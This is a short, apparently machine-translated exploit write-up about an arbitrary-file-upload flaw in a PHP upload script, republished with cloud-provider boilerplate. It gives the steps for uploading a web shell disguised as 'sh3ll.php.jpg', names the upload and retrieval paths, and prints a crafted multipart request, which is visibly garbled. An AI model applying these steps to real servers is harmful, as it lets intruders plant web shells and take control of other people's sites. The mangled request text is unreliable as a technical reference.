PHP. S3.TO Upload Vulnerability Exploitation

Source: Internet
Author: User

This web page has a severe vulnerability. You can directly obtain the shell. The following describes how to exploit the vulnerability.

Vulnerability Information:
 
 
Attackers can upload PHP, TXT, JPG, and PNG files at will.
Change your shell to sh3ll.php.jpg or sh3ll.php?0=0.1.jpg
 
 
Exploitation:
 
 
Www.2cto.com/[dir]/up/upload. php
 
File to be loaded:
 
Www.2cto.com/[dir]/up/img/Sh3ll.php.jpg
 
 
 
Core vulnerability code:
114782935826962 \ r \ nContent-Disposition: form-data;
 
Name = "MAX_FILE_SIZE" \ r \ n \ r \ n1048576 \ r \ n-1147829358
26962 \ r \ nContent-Disposition: form-data; name = "upfile ";
Filename = "sh3ll.php.jpg" \ r \ nContent-Type: text/plain \ r \ n
----------------------------- 114782935826962 \ r \ nContent-Disposition:
Form-data; name = "pass" \ r \ n -- 114782935826962 \ r \ nContent-Disposition: form-data;
Name = "com" \ r \ n ----------------------------- 114782935826962 -- \ r \ n

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.